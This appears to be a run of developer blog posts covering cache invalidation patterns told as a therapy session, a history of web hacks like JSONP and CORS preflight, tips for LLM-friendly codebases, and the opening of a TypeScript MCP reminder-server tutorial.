Therapist: Tell me about your cache.

Developer: Well, it’s… complicated. Sometimes it works great. Sometimes it serves stale data and users get mad. Sometimes it invalidates too aggressively and my database dies.

Therapist: It sounds like your cache has trust issues.

Developer: …is that a thing?

Therapist: Oh yes. Very common. Let’s start from the beginning.

The Problem: Cache Doesn’t Know What’s True Anymore

Your cache has a simple job: remember things so you don’t have to ask the database every time.

But here’s the existential crisis: How does the cache know if the data it remembers is still true?

// Cache: "User 123's email is alice@example.com"
// Reality: Alice just changed her email to alice@newdomain.com
// Cache: "But I remember it being alice@example.com?"
// Reality: "That was 5 minutes ago. Things change."
// Cache: *existential panic*

This is cache invalidation. It’s one of the two hard problems in computer science, along with naming things and off-by-one errors.

Cache Personality Types

Type 1: The Optimist (Time-To-Live Cache)

cache.set('user:123', userData, { ttl: 300 }); // 5 minutes

Personality: “I’ll trust this data for 5 minutes. What could go wrong?”

When it breaks down:

// User changes their email
updateEmail(userId, newEmail);

// Cache doesn't know for 5 minutes
cache.get('user:123'); // Still returns old email

Therapy session:

Therapist: How do you feel about serving stale data?

Cache: I don’t like it, but I can’t check the database every time. That defeats the purpose of caching.

Therapist: What if the data is critical? Like a password change?

Cache: nervous sweating I… I just hope 5 minutes isn’t too long?

Therapist: That’s avoidance behavior.

Type 2: The Paranoid (Cache-Aside with Validation)

const cached = cache.get('user:123');
if (cached && cached.version === db.getVersion('user:123')) {
  return cached;
}
// Version changed, data is stale
const fresh = db.get('user:123');
cache.set('user:123', fresh);
return fresh;

Personality: “Trust but verify. Actually, mostly verify.”

Therapy session:

Therapist: You check the version every single time?

Cache: What if it changed?

Therapist: But you’re hitting the database anyway. Why cache at all?

Cache: Because checking the version is cheaper than fetching all the data! …right?

Therapist: Is it though?

Cache: existential crisis intensifies

Type 3: The Control Freak (Write-Through Cache)

function updateUser(userId, newData) {
  // Update database
  db.update('users', userId, newData);
  
  // Immediately update cache
  cache.set(`user:${userId}`, newData);
}

Personality: “I control everything. If data changes, I’ll know because I’m the one changing it.”

Therapy session:

Therapist: What happens if someone updates the database directly?

Cache: That’s not allowed. All writes go through me.

Therapist: But what if they do anyway?

Cache: THEY CAN’T. I CONTROL THE DATA.

Therapist: This is concerning. You’re exhibiting control issues.

Type 4: The Anxious Overthinker (Event-Driven Invalidation)

// When data changes, publish an event
eventBus.publish('user.updated', { userId: 123 });

// Cache listens for events
eventBus.subscribe('user.updated', (event) => {
  cache.delete(`user:${event.userId}`);
});

Personality: “I need to know the moment ANYTHING changes ANYWHERE.”

Therapy session:

Therapist: You’re subscribed to 47 different event topics?

Cache: I need to know when things change!

Therapist: But you’re spending all your time processing events instead of actually caching.

Cache: What if I miss an update?

Therapist: This is anxiety. You’re catastrophizing.

Common Cache Anxieties

Anxiety 1: “What if I invalidate too early?”

cache.set('user:123', data, { ttl: 10 }); // 10 seconds

// 5 seconds later
cache.delete('user:123'); // Oops, data was still fresh

// Now every request hits the database

Symptom: Over-invalidation. Cache has no confidence in its own data.

Treatment: Use longer TTLs with selective invalidation for critical paths.

Anxiety 2: “What if I invalidate too late?”

cache.set('user:123', data, { ttl: 3600 }); // 1 hour

// User changes password
updatePassword(userId, newPassword);

// Cache still serves old password hash for up to 1 hour
// User can't log in with new password

Symptom: Stale data causes user-facing bugs.

Treatment: Invalidate explicitly on writes. Don’t rely solely on TTL for critical data.

Anxiety 3: “What if multiple servers invalidate at different times?”

// Server A
cache.delete('user:123');

// Server B (didn't get the memo)
cache.get('user:123'); // Still has stale data

Symptom: Distributed cache inconsistency. Different servers see different reality.

Treatment: Use a centralized cache (Redis) or cache invalidation events.

Anxiety 4: “What if the database and cache disagree?”

// Database says: email = alice@new.com
// Cache says: email = alice@old.com

// Who's right? Cache doesn't know.

Symptom: Split-brain. Truth has diverged.

Treatment: Database is always the source of truth. When in doubt, invalidate and refetch.

The Cache Invalidation Patterns

Pattern 1: Lazy Invalidation (TTL)

How it works: Set a timer. When timer expires, delete from cache.

Pros: Simple. Works everywhere.

Cons: Serves stale data until expiration.

Best for: Non-critical data that doesn’t change often (user profiles, settings).

Cache personality: Optimistic.

Pattern 2: Eager Invalidation (Write-Through)

How it works: Every write updates both database and cache.

Pros: Cache is always fresh after writes.

Cons: Doesn’t catch external updates. Adds latency to writes.

Best for: Write-heavy workloads where you control all writes.

Cache personality: Control freak.

Pattern 3: Event-Driven Invalidation

How it works: Publish events when data changes. Cache subscribes and invalidates.

Pros: Near-instant invalidation. Works across servers.

Cons: Complex. Event system becomes a dependency. Eventual consistency.

Best for: Distributed systems with multiple writers.

Cache personality: Anxious overthinker.

Pattern 4: Versioned Data

How it works: Store version number with data. Check version before using cache.

Pros: Catches all changes. Works with any write pattern.

Cons: Extra database query to check version.

Best for: Critical data where staleness is unacceptable.

Cache personality: Paranoid.

Pattern 5: No Cache (The Nuclear Option)

How it works: Don’t cache. Just hit the database every time.

Pros: Never stale. Simple. No invalidation needed.

Cons: Slower. Database load increases.

Best for: Data that changes constantly or is queried rarely.

Cache personality: Has given up on therapy.

Real-World Scenarios

Scenario 1: User Profile

Data: Name, email, profile picture
Change frequency: Rarely
Staleness tolerance: High (users understand profile changes take a moment)
Solution: TTL cache with 5-minute expiration + eager invalidation on profile updates

function updateProfile(userId, newData) {
  db.update('users', userId, newData);
  cache.set(`user:${userId}`, newData, { ttl: 300 });
}

function getProfile(userId) {
  const cached = cache.get(`user:${userId}`);
  if (cached) return cached;
  
  const data = db.get('users', userId);
  cache.set(`user:${userId}`, data, { ttl: 300 });
  return data;
}

Scenario 2: Inventory Count

Data: Number of items in stock
Change frequency: Often (every purchase)
Staleness tolerance: Low (can’t oversell)
Solution: Don’t cache. Or cache with very short TTL + aggressive invalidation.

function getInventory(productId) {
  // Don't cache. Always get fresh count.
  return db.get('inventory', productId);
}

// OR cache for 10 seconds max
function getInventory(productId) {
  const cached = cache.get(`inventory:${productId}`);
  if (cached) return cached;
  
  const data = db.get('inventory', productId);
  cache.set(`inventory:${productId}`, data, { ttl: 10 });
  return data;
}

function purchaseItem(productId) {
  db.decrementInventory(productId);
  cache.delete(`inventory:${productId}`); // Invalidate immediately
}

Scenario 3: Session Data

Data: User’s login session, preferences
Change frequency: Rare (only when user logs in/out)
Staleness tolerance: None (security-critical)
Solution: Cache with no TTL + explicit invalidation on logout

function createSession(userId, sessionData) {
  const sessionId = generateId();
  cache.set(`session:${sessionId}`, sessionData); // No TTL
  return sessionId;
}

function logout(sessionId) {
  cache.delete(`session:${sessionId}`); // Explicit invalidation
}

The Two Rules of Cache Therapy

Rule 1: Cache is a Hint, Not Truth

The database is the source of truth. Cache is a guess about what the database says.

If cache and database disagree, database wins. Always.

Rule 2: Design for Staleness

Don’t build systems that break when cache is stale. Build systems that gracefully handle stale data.

Bad: User changes password. Old password works for 5 minutes because cache.

Good: User changes password. Old password stops working immediately (password check always hits database). Profile picture might be stale for 5 minutes (that’s fine).

Key Takeaways

1. All caches serve stale data eventually - The question is how long you can tolerate
2. TTL is a guess - You’re guessing how long data stays valid
3. Invalidation is hard in distributed systems - Multiple servers, eventual consistency, event ordering
4. Cache the read path, not the write path - Writes should invalidate, not update cache
5. Critical data shouldn’t be cached - Or cache with very short TTLs and explicit invalidation
6. Monitor your cache hit rate - If it’s too low, you’re over-invalidating
7. Trust issues are normal - Cache invalidation is legitimately difficult

Conclusion

Your cache has trust issues because the world is untrustworthy. Data changes. Networks fail. Events get lost. Clocks drift.

The best you can do is:

1. Accept that cache will occasionally be stale
2. Design systems that tolerate staleness
3. Invalidate aggressively for critical data
4. Monitor and adjust TTLs based on real behavior

And maybe, just maybe, your cache will learn to trust again.

Remember: The only thing worse than a stale cache is no cache at all. And the only thing worse than no cache is a cache that lies to you.

The internet is a miracle of engineering. It is also held together by hacks, workarounds, and solutions that made everyone say “this is temporary until we fix it properly.”

Some of these we use everyday without noticing. Lets see how they came to be.

Hack 1: JSONP (JavaScript Object Notation with Padding)

The Problem

You want to fetch data from a different domain. The browser says no:

fetch("https://api.example.com/data")
  .then((r) => r.json())
  .then((data) => console.log(data));

// ❌ Error: No 'Access-Control-Allow-Origin' header

Same-origin policy blocks you. In the mid 2000s, CORS doesn’t exist yet. What do you do?

The Terrible Solution

Observation: <script> tags can load JavaScript from anywhere.

Terrible idea: What if we put JSON data inside a JavaScript file?

// Your page
function handleData(data) {
  console.log(data);
}

// Their server returns this:
handleData({ user: "Alice", email: "alice@example.com" });

// You load it with a script tag:
<script src="https://api.example.com/data?callback=handleData"></script>;

It works! The server wraps JSON in a function call. Your page defines the function. Script tag loads and executes. You have your data.

Why it’s terrible:

• The server can execute arbitrary JavaScript in your page
• No error handling
• URL length limits
• Can only do GET requests
• The word “padding” is a euphemism for “wrapping JSON in a function call like savages”

Why it lasted so long:
Because it worked. And CORS took years to standardize and implement everywhere.

Status in 2026: Officially dead. Unofficially, someone somewhere is still using it and their code will break when browsers finally remove support.

Hack 2: CORS Preflight (The OPTIONS Request Nobody Wanted)

The Problem

It is 2005 and CORS exists now! You can make cross-origin requests! Except… sometimes the browser sends TWO requests:

fetch("https://api.example.com/data", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ data: "hi" }),
});

// Browser sends:
// 1. OPTIONS request (preflight)
// 2. POST request (your actual request)

Why two requests? Because the browser doesn’t trust you (and rightly so!).

The Terrible Solution

The OPTIONS request is a “pre-flight” check. The browser asks the server: “Is it okay if I send a POST request with this header?”

OPTIONS /data HTTP/1.1
Host: api.example.com
Origin: https://yoursite.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type

// Server responds:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://yoursite.com
Access-Control-Allow-Methods: POST
Access-Control-Allow-Headers: Content-Type
Access-Control-Max-Age: 86400

Only then does the browser send your actual POST request.

Why it’s terrible:

• Doubles the number of requests
• Adds latency
• Server has to handle OPTIONS requests for every endpoint
• Access-Control-Max-Age is supposed to cache the preflight, but browsers cap it (Chrome ~2 hours, Firefox ~24 hours)
• Many developers don’t know why OPTIONS requests exist and misconfigure their servers

Why it exists:
Security. The browser wants to protect the server from dangerous requests. But also backward compatibility - old servers that don’t understand CORS shouldn’t accidentally accept dangerous requests.

Status in 2026: Still here. Still annoying. Still necessary. Will outlive us all.

Hack 3: HTTP Polling (Asking “Are We There Yet?” Every Second)

The Problem (2005)

You want real-time updates. WebSockets don’t exist. How do you get the server to push data to the client?

The Terrible Solution

Just ask the server for updates every second:

setInterval(() => {
  fetch("/updates")
    .then((r) => r.json())
    .then((data) => {
      if (data.newMessages) {
        showMessages(data.newMessages);
      }
    });
}, 1000); // Ask every second

Why it’s terrible:

• Makes 60 requests per minute even when nothing happens
• Wastes bandwidth
• Wastes server resources
• Wastes battery on mobile devices
• Still has latency (updates only every second)

Variations:

Long polling: Keep the connection open until there’s data

function poll() {
  fetch("/updates")
    .then((r) => r.json())
    .then((data) => {
      handleData(data);
      poll(); // Immediately poll again
    });
}

Server holds the request open until there’s data, then responds. Client immediately polls again.

Why it’s also terrible: Keeps connections open forever. But at least it doesn’t waste requests when nothing happens.

Status in 2026: WebSockets exist now. But polling still lives on in:

• Systems that can’t use WebSockets (restrictive firewalls)
• “Enterprise” systems that haven’t been updated since 2008
• Systems that consider Server Sent Events and WebSockets too complex a solution for their use case.

Hack 4: Base64 Images in CSS

The Problem

HTTP/1.1 has a limit on concurrent connections. Every image is a separate request. Loading 50 icons = 50 requests = slow.

The Terrible Solution

Encode images as base64 strings and embed them directly in CSS as data URLs:

.icon {
  background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA
AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL
0Y4OHwAAAABJRU5ErkJggg==);
}

Why it’s terrible:

• Base64 is 33% larger than binary
• Can’t be cached separately from CSS
• Makes CSS files huge
• Can’t lazy-load images
• Makes CSS unreadable

Why it was used:

• Reduces HTTP requests (important in HTTP/1.1)
• Entire CSS file can be cached
• No FOUC (Flash of Unstyled Content) waiting for images

Status in 2026: HTTP/2 fixed the connection limit problem. But you still see base64 images in:

• Old codebases
• Email HTML (email clients block external images)
• Single-file HTML apps (everything in one file)
• Systems where image hosting over CDNs is relatively expensive.
• The image is small enough, what’s the harm?(!)

Hack 5: User-Agent Sniffing

The Problem

Different browsers support different features. You need to know which browser the user has.

The Terrible Solution

Check the User-Agent string:

const ua = navigator.userAgent;

if (ua.includes("MSIE") || ua.includes("Trident")) {
  // Internet Explorer detected
  loadIEPolyfills();
}

if (ua.includes("Chrome")) {
  // Use Chrome-specific features
}

Why it’s terrible:

• User-Agent strings lie
• Browsers spoof each other to avoid being blocked
• User-Agent strings are ridiculously long and complicated
• Feature detection is better than browser detection

Example User-Agent:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59

This is Edge pretending to be Chrome pretending to be Safari pretending to be Mozilla. Why? Because if a website blocked Edge, this partially circumvents the ban.

if ("geolocation" in navigator) {
  // Use geolocation
}

if (typeof Promise !== "undefined") {
  // Use promises
}

Status in 2026: User-Agent sniffing is officially discouraged. But it’s still everywhere because old code never dies.

Hack 6: Cookies for Everything

The Problem (1994)

HTTP is stateless. You need to remember who the user is between requests.

The Terrible Solution

Cookies! A small piece of data sent with every request:

Set-Cookie: sessionId=abc123; Path=/; HttpOnly; Secure

Why it’s terrible:

• Sent with EVERY request, even for images/CSS/JS
• Limited to 4 KB per cookie
• No structured data format
• Global scope by default (every subdomain can read it)
• Security nightmare (XSS can steal cookies, CSRF exploits them)

Why it lasted:
Because nothing better existed. We needed some way to do sessions.

What cookies are used for:

• Authentication (session tokens)
• Tracking (ads, analytics)
• User preferences
• Shopping carts
• CSRF tokens (ironically, to protect against CSRF)

Status in 2026: We have localStorage, sessionStorage, IndexedDB. But cookies persist because:

• They’re automatically sent with requests (good for auth)
• They work across tabs
• Old code depends on them

Hack 7: document.write() (The Original Sin)

The Problem

You want to add content to a page dynamically.

The Terrible Solution

document.write("<div>Hello World</div>");

Why it’s terrible:

• If called after page load, it WIPES THE ENTIRE PAGE
• Blocks page parsing
• Can’t be used in async scripts
• Messes with the DOM
• Everyone who has used it has a horror story

Why it existed:
In 1995, there was no DOM API. document.write() was the only way to generate HTML from JavaScript.

Status in 2026: Not officially deprecated in the spec, but strongly discouraged. (See the mozilla document page on this and you will realize how red it is with warnings.) Chrome actively blocks it in some scenarios. Still in millions of ad scripts because ad tech is where code goes to die.

It was a reliable way to ensure the ad script executed and rendered its content across a variety of older browser environments without needing more complex DOM manipulation methods. Ad scripts often use document.write() to inject further

Hack 8: eval() (The Devil’s Function)

The Problem

You need to execute dynamically constructed code. Maybe you’re parsing a data format (before JSON.parse() existed), maybe you’re building a template engine, or maybe you’re just making questionable life choices.

The Terrible Solution

const code = 'console.log("Hello")';
eval(code); // Executes the string as JavaScript

Why it’s terrible:

• Executes arbitrary code
• Security nightmare
• Performance nightmare (can’t be optimized)
• Debugging nightmare
• Makes code review impossible

Why it exists:
Sometimes you legitimately need to execute dynamic code. JSONP used eval() before JSON.parse() existed.

Status in 2026: Still exists. Still dangerous. Still used in:

• Code playgrounds
• Template engines
• Dynamic query builders
• Bad decisions

Hack 9: The <table> Layout Era

The Problem (1995)

You want to create a layout with columns. CSS layout support barely exists.

The Terrible Solution

Use HTML tables for everything:

<table>
  <tr>
    <td>Sidebar</td>
    <td>Main Content</td>
  </tr>
</table>

Why it’s terrible:

• Semantically wrong (tables are for data, not layout)
• Accessibility nightmare
• Inflexible
• Nested tables everywhere
• Screen readers think everything is tabular data

Status in 2026: Finally dead. If you see table layouts in 2026, the website is either:

• Very old
• Generated by an ancient CMS
• An email (email clients still use table layouts)

Please just use flexbox or css grids for your layouting.

Hack 10: !important (The CSS Nuclear Option)

The Problem

Your CSS rule isn’t being applied. Something else is overriding it. You don’t know what, and you don’t have time to figure it out.

The Terrible Solution

.button {
  color: red !important;
  background: blue !important;
  margin: 10px !important;
  /* I don't understand the cascade and at this point I'm afraid to ask */
}

Why it’s terrible:

• Breaks the natural cascade that makes CSS work
• The only way to override !important is with another !important
• Leads to specificity wars that nobody wins
• Makes CSS unmaintainable — you can’t tell what’s overriding what
• Commonly a sign that the real problem is poorly structured selectors

Why it’s used:

• Third-party widgets inject styles you can’t control
• Legacy CSS is too tangled to refactor safely
• Deadline pressure: “just slap !important on it and ship”
• It always works (that’s the dangerous part)

Status in 2026: Alive and thriving. Every codebase has at least one !important. Most have hundreds. CSS-in-JS and utility frameworks like Tailwind reduce the need, but whenever CSS gets complicated, !important is the first thing developers reach for.

Why These Hacks Matter

Lesson 1: Temporary Solutions Become Permanent

JSONP was a hack. It was supposed to be replaced by CORS. It lasted 15+ years.

Lesson 2: Backward Compatibility is Forever

We can’t remove old features because someone, somewhere, depends on them.

Lesson 3: Constraints Breed Creativity

These hacks exist because smart people solved real problems with limited tools.

Lesson 4: The Perfect Solution Never Comes

CORS is “better” than JSONP, but it’s also more complex, has preflight requests, and still frustrates developers daily.

Key Takeaways

1. Every hack was once a clever solution - JSONP was genius in 2005
2. Temporary hacks become permanent - Plan accordingly
3. Backward compatibility preserves terrible ideas - The web can never fully break old sites
4. Standards take years - Hacks fill the gap
5. Your clever hack will haunt you - Future you will curse past you

Conclusion

The internet works. Millions of websites, billions of users, trillions of requests per day. And it’s all held together by solutions that were supposed to be temporary.

JSONP. CORS preflight. HTTP polling. Base64 images. Cookies for everything. These are the duct tape and baling wire of the web.

And you know what? It works. Not elegantly. Not beautifully. But it works.

Next time you’re tempted to call something a “hack,” remember: the entire internet is a hack. Your hack is in good company.

Think about the last time someone new joined your team. What did they struggle with?

• Finding where things are
• Understanding why things work a certain way
• Figuring out what patterns to follow
• Knowing what’s okay to change and what isn’t

LLMs face the exact same challenges. An “LLM friendly” codebase is simply one where these answers are easy to find.

The trick is to write code that anyone (or anything 😉) can understand.

Why This Matters Now

LLMs are already writing code in production systems. Tools like GitHub Copilot, Codex, and Claude are generating pull requests, fixing bugs, and adding features. The question isn’t whether to use them - it’s how to use them effectively.

I have been using most of the new coding models on a daily basis for fun and for production code. Here are some of my findings that helped me reduce iterations with my agents.

Let’s explore what this means in practice.

Making It Easy to Write Good Code

1. Write Code in Predictable Ways

LLMs are pattern-matching machines. When your codebase has consistent patterns, LLMs can accurately replicate them.

What this means in practice:

• The way you write logs should be standardized across the codebase
• Configuration handling should follow the same pattern everywhere
• API endpoint naming should be predictable
• Folder structures should be consistent
• File naming should match what’s inside

Example Scenario:
If you have 10 controllers that all follow the same structure - constructor, private methods, public methods, error handling - when an LLM creates the 11th controller, it will naturally follow the same pattern.

Why it works:
LLMs learn from the code they see. Consistent patterns mean the LLM has strong signals about how to write new code. Inconsistent patterns mean the LLM has to guess, and guesses lead to errors.

2. Have Reference Files for Coding Styles

One good example is worth a thousand words of explanation.

What to include:

• A well-written test file that shows your testing patterns
• A reference controller that demonstrates your preferred structure
• Example configuration files that show the right way to set things up
• Sample pipeline definitions if you use CI/CD

Make sure the reference file is of high quality. A bad reference file is worse than no reference file.
The LLM will replicate the problems.

3. Create Base Documentation for Project Structure

LLMs need to understand the big picture before they can work on specific pieces.

Create a document that answers:

• What does this project do?
• How is the code organized? (What goes where?)
• What are the key conventions we follow?
• What external systems do we integrate with?
• What’s our approach to error handling?

This doesn’t need to be elaborate. A simple README or ARCHITECTURE.md file that gives the 30,000-foot view is enough.

Why it matters:
Without this context, LLMs either load a lot of context by scanning through files or make assumptions. With this context, they make informed decisions.

4. Make Similar Things Look Similar

If two things do similar jobs, they should look similar in code.

This is especially powerful for:

• Pipeline definitions - Infrastructure-as-code files like Bicep, ARM templates, GitHub Actions, or Azure DevOps YAML should follow templates
• API endpoints - If you have 20 REST endpoints, they should all follow the same pattern for routing, validation, and error handling
• Database queries - Query patterns should be consistent (parameterized, error handling, connection management)

What happens when you do this:
LLMs become extremely good at replicating well-defined patterns. If your pipeline files all look alike, the LLM can create new ones with high accuracy.

5. Provide Examples in Requirements

Task descriptions with examples produce better results than task descriptions with just text.

❌ Instead of:

Add validation for the email field

✅ Write:

Add validation for the email field.

Example of how we validate in UserController.cs:
- Check if email is not null
- Check if email matches regex pattern
- Return ValidationError if check fails

Follow the same pattern we use for phone number validation in the same file.

Why it works:
LLMs are one-shot generators for most PR tools. They don’t get to iterate with you. More context upfront = better first attempt.

6. Keep Changes Small and Focused

One change per PR works better than multiple changes in one PR.

LLMs are getting exceedingly good at making large changes in one shot. However, the more changes that are made, the more you have to review. This applies to both human-written and LLM-written code, but it’s especially important for LLMs because:

• Larger scope has more chances of deviations from objective.
• Small, hard-to-catch bugs can seep in when a lot of files are changed.

What to avoid:
“Refactor the entire service layer and add three new features” is too much for one task.

What works better:
“Add email validation to UserController following the pattern in UserValidator.cs”

It also works fine if you give a structured list of changes in multiple files to steer the direction of changes.

Making It Hard to Write Bad Code

These are guardrails that prevent LLMs (and humans) from making common mistakes.

1. Use Linters and Code Analysis Rules

Most LLM-based coding agents use builds as a way to validate their changes. If the build fails, they fix and retry.

This means linters are incredibly powerful for steering LLM behavior.

What to enforce:

• Code style rules (consistent formatting, naming conventions)
• Code analysis rules (potential bugs, security issues)
• Static analysis (unused variables, unreachable code)
• Custom rules specific to your domain

Why this is powerful:
Linters give immediate feedback. LLMs see the error, understand what’s wrong, and fix it automatically. This creates a tight feedback loop that improves code quality without human intervention.

2. Break Builds on Violations (Not Just Warnings)

Some LLMs ignore warnings. They only fix errors that break the build. If something is important, make it an error, not a warning.

Example:

• Security rule violations → Break the build
• Required documentation missing → Break the build
• Code coverage below threshold → Break the build
• Naming convention violations → Break the build

The tradeoff:
This might seem strict, but it’s actually liberating. It makes the rules explicit and automatic. Nobody has to remember to check; the build checks automatically.

3. Avoid Suppression Files, Use Inline Suppressions

Some LLMs use global suppression files as an escape hatch when problems become complex.

What happens with suppression files:
Sometimes, when the LLM can’t fix a code analysis error, it adds a suppression to a global file and moves on. This accumulates technical debt.

Better approach:
Require inline suppressions with justification:

#pragma warning disable CA1031 // Do not catch general exception types
// We need to catch all exceptions here because this is the top-level error handler
catch (Exception ex)
{
    // handle
}
#pragma warning restore CA1031

Why this works:
Inline suppressions are visible during code review. They force the developer (human or AI) to justify why the rule doesn’t apply in this specific case.

4. Have Tests that LLMs Can Follow

If you have one well-written test, LLMs can generate more tests following the same pattern.

What makes a good reference test:

• Clear arrange-act-assert structure
• Descriptive test names that explain what’s being tested
• Good use of test helpers and fixtures
• Appropriate assertions

Instruction that works well:

Add tests for the new validation logic.
Follow the pattern in UserValidationTests.cs.
Use the same helper methods and assertion style.

What to avoid:
Don’t let LLMs add unnecessary tests just to increase coverage. Specify “add relevant tests only” in your requirements.

Practical Tips for Faster Iterations

1. Set Up Quick Validation Builds

If your build takes 20 minutes and the LLM runs 5 iterations, the time just adds up.

The Solution: Create a lightweight “quick validation” build specifically for LLM iterations:

• Skip time-consuming steps that aren’t relevant (deployment, packaging, slow integration tests)
• Run only linters, unit tests, and fast validations
• For agent-based PRs, save the full build for final PR validation and use the simpler build before agents publish the PR.

2. Add Instructions to Avoid Common Issues

LLMs sometimes add things you don’t want. Be explicit about what NOT to do.

Examples of useful negative instructions:

- Don't add suppression files unless absolutely necessary
- Don't add markdown files for explanation
- Don't add unnecessary comments
- Don't add tests that just verify implementation details

Why this matters:
LLMs often try to be “helpful” by adding extra documentation or comments. If you don’t want that, say so explicitly.

Continuous Improvement Strategy

You don’t need to fix everything at once. Here’s a gradual approach based on what has the highest impact:

Phase 1: Foundation (Week 1-2)

1. ✅ Create a README with project structure and conventions
2. ✅ Identify and document your most common patterns (logging, error handling, configuration)
3. ✅ Create reference files for common tasks (tests, controllers, services)

Phase 2: Guardrails (Week 3-4)

1. ✅ Enable linters and code analysis rules
2. ✅ Make important rules break the build (not just warnings)
3. ✅ Remove global suppression files; require inline suppressions

Phase 3: Optimization (Ongoing)

1. ✅ Set up quick validation builds for faster iterations
2. ✅ Test with LLMs and refine based on results
3. ✅ Add instructions files like copilot-instructions and claude skills to avoid common issues

Start with the area of your codebase that changes most frequently. That’s where you’ll see the biggest return on investment.

Hacks and Tricks from the Field

Use Voice Typing for Task Descriptions

Adding context is important, but typing detailed task descriptions is tedious. Use voice typing to:

• Add more detail without typing fatigue
• Provide richer context naturally
• Explain examples and patterns verbally

Why it works: People naturally provide more context when speaking than when typing.

Have a Copilot Instructions File

Create a .github/copilot-instructions.md file (or similar) that tells LLMs:

• What patterns to follow in your codebase
• What to avoid
• How to structure code
• What good looks like

This file is picked up by Copilot and other tools, reducing the need to repeat instructions in every task.

Key Takeaways

1. Treat LLMs like new team members - The same things that help humans also help AI
2. Consistency beats perfection - A consistent mediocre pattern is better than inconsistent excellent patterns
3. Make good code easy - Clear patterns guide LLMs toward quality
4. Make bad code hard - Linters and build rules prevent common mistakes
5. Provide examples - One good reference file beats long written instructions
6. Be explicit - Say what you want AND what you don’t want
7. Iterate based on results - Learn what prompts work and refine your approach
8. Start small - Fix high-change areas first, then expand gradually

Conclusion

Making your codebase LLM-friendly isn’t about writing code for robots. It’s about writing clearer, more maintainable code that communicates its intent effectively to anyone reading it - human or AI.

The practices in this post are fundamentally about good software engineering: consistent patterns, clear documentation, automated quality checks, and explicit conventions. These practices have always made codebases better for humans. LLMs just make the benefits more obvious and immediate.

MCP (Model Context Protocol) servers are designed to bridge the gap between AI models and external tools or services. They serve a similar purpose to what API endpoints have been doing for decades. MCP servers expose a set of “tools” (APIs) that the AI can call to perform actions, fetch data, or automate workflows. This enables AI assistants to interact with your apps, databases, or devices in a secure and structured way.

MCP is an open protocol. You can find more details and the full specification at modelcontextprotocol.io.

What We Are Building

In this post, we’ll build a simple MCP server that manages reminders. The server will expose a tool to add reminders, which can then be invoked by an AI assistant or inspected manually. This example will help you understand how to structure your server, handle inputs, and ensure a smooth experience for both users and AI models.

Let’s start building

We will start with a simple TypeScript server and progressively add features. We won’t really be saving the reminder but will mostly focus on interactions between MCP clients and the server. We will build a minimal MCP server exposing an add-reminder tool. We’ll use TypeScript and the official MCP SDK for this example. We follow the documentation at https://modelcontextprotocol.io/quickstart/server#node to get started.

Our scenario: Add a reminder to catch the bus daily at 5PM.

Set up the project

Install Node on your system from https://nodejs.org first so that you can run the TS code locally. Anything above Node 16 should be okay. Check if you have Node by running this in your terminal.

node --version
npm --version

Let’s initialize the project

# Create a new directory for our project
mkdir reminders
cd reminders

# Initialize a new npm project
npm init -y

# Install dependencies
npm install @modelcontextprotocol/sdk
npm install zod
npm install -D @types/node
npm install -D typescript

1. @modelcontextprotocol/sdk is the official MCP SDK - https://github.com/modelcontextprotocol/typescript-sdk
2. zod is a TypeScript validation library. Not essential but eases development - https://zod.dev/
3. @types/node for getting types for common Node modules.
4. typescript because type check is a boon.

Update your package.json to add type: "module" and a build script:

{
  "type": "module",
  "bin": {
    "reminders": "./build/index.js"
  },
  "scripts": {
    "build": "tsc",
    "watch": "tsc --watch"
  },
  "files": ["build"]
}

Create a tsconfig.json in the root:

{
  "compilerOptions": {
    "target": "ES2022",
    "module": "Node16",
    "moduleResolution": "Node16",
    "outDir": "./build",
    "rootDir": "./src",
    "strict": true,
    "esModuleInterop": true,
    "skipLibCheck": true,
    "forceConsistentCasingInFileNames": true
  },
  "include": ["src/**/*"],
  "exclude": ["node_modules"]
}

If you use a different directory structure, update rootDir and outDir accordingly.

Add a basic server that does not do anything

Let’s start with a basic server that exposes the metadata about the server first.

Add the below to src\index.ts.

import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";

// Create server instance
const server = new McpServer({
  name: "reminders",
  version: "1.0.0",
  capabilities: {
    resources: {},
    tools: {},
  },
});

async function main() {
  const transport = new StdioServerTransport();
  await server.connect(transport);
  console.error("Reminder server running on stdio.");
}

main().catch((error) => {
  console.error(`Fatal error in main():`, error);
  process.exit(1);
});

1. name: "reminders", declares a server of the name “reminders”. This is the name that shows up on your clients like Claude. So choose wisely.
2. const transport = new StdioServerTransport(); creates a stdio-based server transport which essentially means you can start receiving messages on stdin and sending messages on stdout. This is essentially how local MCP servers talk to clients.

   Using stdio also means that you can’t randomly use console.log statements in your code anymore as they will be passed back to the client and will cause parsing errors.

Add functionality to add a reminder from text

Let’s add a tool to the server so that we can add the add-reminder skill to our server.

// ...
import { z } from "zod";
// ...
// const server = new McpServer({...});
// ...
server.tool(
  "add-reminder",
  "Add a reminder for the user",
  {
    reminderText: z
      .string()
      .describe("Free form text containing the content of the reminder"),
  },
  async ({ reminderText }, ctx) => {
    // TODO: Actually save the reminder text to some external system.
    let response = [
      `Request ID : ${ctx.requestId}`,
      `Your reminder is set.`,
      `Reminder Content: "${reminderText}"`,
    ];
    return {
      content: [{ type: "text", text: response.join("\n") }],
    };
  }
);
// ...
// async function main() {...}

1. Here we add a tool called add-reminder. Make sure to use a good description of what the tool does so that the MCP client can have help text and it can choose your tool better. In our case, writing a simple text like Add a reminder... works because it is the only one that is installed, but in the real world, users will have multiple servers installed. Having a good description will ensure users are able to trigger your tool consistently.
2. reminderText is an argument that we expose. z.string() does a validation check that the value passed to reminderText is actually a string. It throws a runtime error otherwise. The description of the argument is also important as it is used by the client to understand what value to pass.
3. The callback function is where the actual processing happens. The ctx object has additional metadata sent by the client. This has the information that we had seen in the inspector like ctx.requestId.
4. The return value has to be in a structured format. Since content is an array, you can send multiple content types like image, video, etc. as part of a single response. Here we only send text.

Testing this against Claude gives us a nice end-to-end working example.

Sample prompt

Add a reminder to catch the bus.

Test with inspector

We can test the MCP server using the MCP Inspector. It is the simplest way to test the handling of different inputs from the mcp client.

